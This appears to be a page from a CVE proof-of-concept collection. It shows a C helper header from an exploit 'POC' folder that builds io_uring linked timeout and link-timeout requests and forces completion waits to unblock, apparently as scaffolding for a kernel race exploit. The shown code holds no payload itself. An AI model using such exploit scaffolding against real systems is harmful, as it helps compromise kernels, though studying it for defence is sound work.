4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / ring_helpers.h H
#ifndef RING_HELPER_H
#define RING_HELPER_H
#include <liburing.h>
#include "err_state.h"

err_t init_timeout_sqe(struct io_uring *ring, struct timespec *ts)
{
    struct io_uring_sqe* sqe = io_uring_get_sqe(ring);
    IF_ERR_PTR(sqe) {
        perror("init_timeout_sqe:io_uring_get_sqe");
        return ERR;
    }
    sqe->opcode = IORING_OP_TIMEOUT;
    sqe->flags = IOSQE_IO_LINK;
    sqe->off = 4;
    sqe->addr = (uint64_t)ts;
    sqe->len = 1;
    sqe->user_data = 5;

    return SUCC;
}

err_t init_link_sqe(struct io_uring *ring, struct timespec *ts)
{
    struct io_uring_sqe* sqe = io_uring_get_sqe(ring);
    IF_ERR_PTR(sqe) {
        perror("init_link_sqe:io_uring_get_sqe");
        return ERR;
    }
    sqe->opcode = IORING_OP_LINK_TIMEOUT;
    sqe->addr = (uint64_t)ts;
    sqe->len = 1;
    sqe->user_data = 7;

    return SUCC;
}

err_t force_unblock_wait_cqe(struct io_uring *ring, uint32_t amount)
{
    struct io_uring_sqe* sqe = NULL;
    for (int i = 0; i < amount; i++) {
        sqe = io_uring_get_sqe(ring);
        IF_ERR_PTR(sqe) {
            perror("force_unblock_wait_cqe:io_uring_get_sqe");
            return ERR;
        }
    }
    IF_ERR(io_uring_submit(ring)) {
        perror("force_unblock_wait_cqe:io_uring_submit");
        return ERR;
    }
    return SUCC;
}

err_t init_ring(struct io_uring *ring)
{
    if (io_uring_queue_init(200, ring, 0) < 0) {
        perror("init_rings:io_uring_queue_init");
        return ERR;
    }
    return SUCC;
}

#endif // RING_HELPER_H